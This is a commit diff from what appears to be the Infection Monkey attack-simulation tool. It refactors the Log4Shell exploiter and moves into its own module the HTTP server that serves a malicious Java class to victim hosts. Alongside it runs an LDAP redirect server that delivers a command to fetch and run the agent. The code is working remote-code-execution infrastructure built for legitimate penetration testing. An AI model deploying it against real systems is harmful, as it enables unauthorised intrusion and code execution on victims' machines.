Agent: Extract Java exploit HTTP server into its own module

monkey/infection_monkey/exploit/log4shell.py

@@ -1,5 +1,3 @@
-import http.client
-import http.server
 import logging
 from threading import Thread
 from time import sleep
@@ -8,6 +6,7 @@ from common.utils.exploit_enum import ExploitType
 from infection_monkey.exploit.log4shell_utils import (
     LINUX_EXPLOIT_TEMPLATE_PATH,
     WINDOWS_EXPLOIT_TEMPLATE_PATH,
+    ExploitClassHTTPServer,
     LDAPExploitServer,
     build_exploit_bytecode,
     get_log4shell_service_exploiters,
@@ -38,14 +37,17 @@ class Log4ShellExploiter(WebRCE):
 
     def __init__(self, host: VictimHost):
         super().__init__(host)
-        self._client = None
+
         self.ldap_port = get_free_tcp_port()
+
+        self.class_http_server_ip = get_interface_to_target(self.host.ip_addr)
         self.class_http_server_port = get_free_tcp_port()
 
-        self.ldap_server_thread = None
         self.ldap_server = None
+        self.ldap_server_thread = None
+        self.exploit_class_http_server = None
+        self.exploit_class_http_server_thread = None
         self.agent_http_server_thread = None
-        self.java_class_http_server_thread = None
 
     def _exploit_host(self):
         self.start_servers()
@@ -63,9 +65,10 @@ class Log4ShellExploiter(WebRCE):
         command = self.build_command(paths["dest_path"], agent_http_path)
 
         # Start http server to serve malicious java class to victim
-        class_server_ip = self.start_class_http_server(command)
+        self.start_class_http_server(command)
+
         # Start ldap server to redirect ldap query to java class server
-        self.start_ldap_server(class_server_ip)
+        self.start_ldap_server()
 
     def start_agent_http_server(self, agent_paths: dict) -> str:
         # Create server for http download and wait for it's startup.
@@ -79,19 +82,25 @@ class Log4ShellExploiter(WebRCE):
         logger.info("Started http server on %s", http_path)
         return http_path
 
-    def start_class_http_server(self, command: str) -> str:
+    def start_class_http_server(self, command: str):
         java_class = self.build_java_class(command)
-        class_http_server_ip = get_interface_to_target(self.host.ip_addr)
 
-        java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class)
+        self.exploit_class_http_server = ExploitClassHTTPServer(
-        self.java_class_http_server_thread = java_class_http_thread
+            self.class_http_server_ip, self.class_http_server_port, java_class
-        self.java_class_http_server_thread.start()
+        )
-        return class_http_server_ip
+        # Setting `daemon=True` to save ourselves some trouble when this is merged to the
+        # agent-refactor branch.
+        # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`
+        # constructor directly after merging to the agent-refactor branch.
+        self.exploit_class_http_server_thread = Thread(
+            target=self.exploit_class_http_server.run, daemon=True
+        )
+        self.exploit_class_http_server_thread.start()
 
-    def start_ldap_server(self, class_http_server_ip: str):
+    def start_ldap_server(self):
         self.ldap_server = LDAPExploitServer(
             ldap_server_port=self.ldap_port,
-            http_server_ip=class_http_server_ip,
+            http_server_ip=self.class_http_server_ip,
             http_server_port=self.class_http_server_port,
             storage_dir=get_monkey_dir_path(),
         )
@@ -104,14 +113,15 @@ class Log4ShellExploiter(WebRCE):
         self.ldap_server_thread.start()
 
     def stop_servers(self):
-        self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
+        logger.debug("Stopping all LDAP and HTTP Servers")
         self.agent_http_server_thread.stop()
+        self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
 
-        self.java_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
+        self.exploit_class_http_server.stop()
-        Log4ShellExploiter.HTTPHandler.stop = True
+        self.exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
 
-        self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
         self.ldap_server.stop()
+        self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
 
     def build_ldap_payload(self):
         interface_ip = get_interface_to_target(self.host.ip_addr)
@@ -154,55 +164,10 @@ class Log4ShellExploiter(WebRCE):
                 # Wait for request
                 sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME)
 
-                if Log4ShellExploiter.HTTPHandler.class_downloaded:
+                if self.exploit_class_http_server.exploit_class_downloaded():
                     self.exploit_info["vulnerable_service"] = {
                         "service_name": exploit.service_name,
                         "port": port,
                     }
                     return True
         return False
-
-    class HTTPHandler(http.server.BaseHTTPRequestHandler):
-
-        java_class: bytes
-        class_downloaded = False
-        stop = False
-
-        @classmethod
-        def reset(cls):
-            cls.class_downloaded = False
-            cls.stop = False
-
-        @classmethod
-        def set_class_downloaded(cls):
-            cls.class_downloaded = True
-
-        def do_GET(self):
-            Log4ShellExploiter.HTTPHandler.set_class_downloaded()
-            logger.info("Java class servergot a GET request!")
-            self.send_response(200)
-            self.send_header("Content-type", "application/octet-stream")
-            self.end_headers()
-            logger.info("Sending the payload class!")
-            self.wfile.write(self.java_class)
-
-    def _run_class_http_server(self, ip):
-        server = http.server.HTTPServer(
-            (ip, self.class_http_server_port), Log4ShellExploiter.HTTPHandler
-        )
-        while (
-            not Log4ShellExploiter.HTTPHandler.class_downloaded
-            and not Log4ShellExploiter.HTTPHandler.stop
-        ):
-            server.handle_request()
-
-        Log4ShellExploiter.HTTPHandler.reset()
-
-    def get_java_class_server_thread(self, ip: str, java_class: bytes):
-        Log4ShellExploiter.HTTPHandler.java_class = java_class
-
-        # Setting `daemon=True` to save ourselves some trouble when this is merged to the
-        # agent-refactor branch.
-        # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`
-        # constructor directly after merging to the agent-refactor branch.
-        return Thread(target=self._run_class_http_server, args=[ip], daemon=True)

monkey/infection_monkey/exploit/log4shell_utils/__init__.py

@@ -6,3 +6,4 @@ from .exploit_builder import (
 )
 from .ldap_server import LDAPExploitServer
 from .service_exploiters import get_log4shell_service_exploiters
+from .exploit_class_http_server import ExploitClassHTTPServer

monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py

@@ -0,0 +1,60 @@
+import http.server
+import logging
+
+logger = logging.getLogger(__name__)
+
+
+class HTTPHandler(http.server.BaseHTTPRequestHandler):
+
+    java_class: bytes
+    class_downloaded = False
+
+    @classmethod
+    def reset(cls):
+        cls.class_downloaded = False
+
+    @classmethod
+    def _set_class_downloaded(cls):
+        cls.class_downloaded = True
+
+    def do_GET(self):
+        if HTTPHandler.class_downloaded:
+            self.send_error(429, "Java exploit class has already been downloaded")
+            return
+
+        HTTPHandler._set_class_downloaded()
+        logger.info("Java class servergot a GET request!")
+        self.send_response(200)
+        self.send_header("Content-type", "application/octet-stream")
+        self.end_headers()
+        logger.info("Sending the payload class!")
+        self.wfile.write(self.java_class)
+
+
+class ExploitClassHTTPServer:
+    def __init__(self, ip: str, port: int, java_class: bytes):
+        logger.debug(f"The Java Exploit class will be served at {ip}:{port}")
+
+        HTTPHandler.java_class = java_class
+        HTTPHandler.reset()
+
+        self._server = http.server.HTTPServer((ip, port), HTTPHandler)
+        self._server.socket.settimeout(0.5)
+
+    def run(self):
+        logger.debug("Starting ExploitClassHTTPServer")
+        HTTPHandler.reset()
+
+        # while not self.exploit_class_downloaded():
+        #    self._server.handle_request()
+        #    logger.error("loop")
+
+        self._server.serve_forever()
+        logger.debug("The Java Exploit class HTTP server has stopped")
+
+    def stop(self):
+        logger.debug("Stopping the Java Exploit class HTTP server")
+        self._server.shutdown()
+
+    def exploit_class_downloaded(self) -> bool:
+        return HTTPHandler.class_downloaded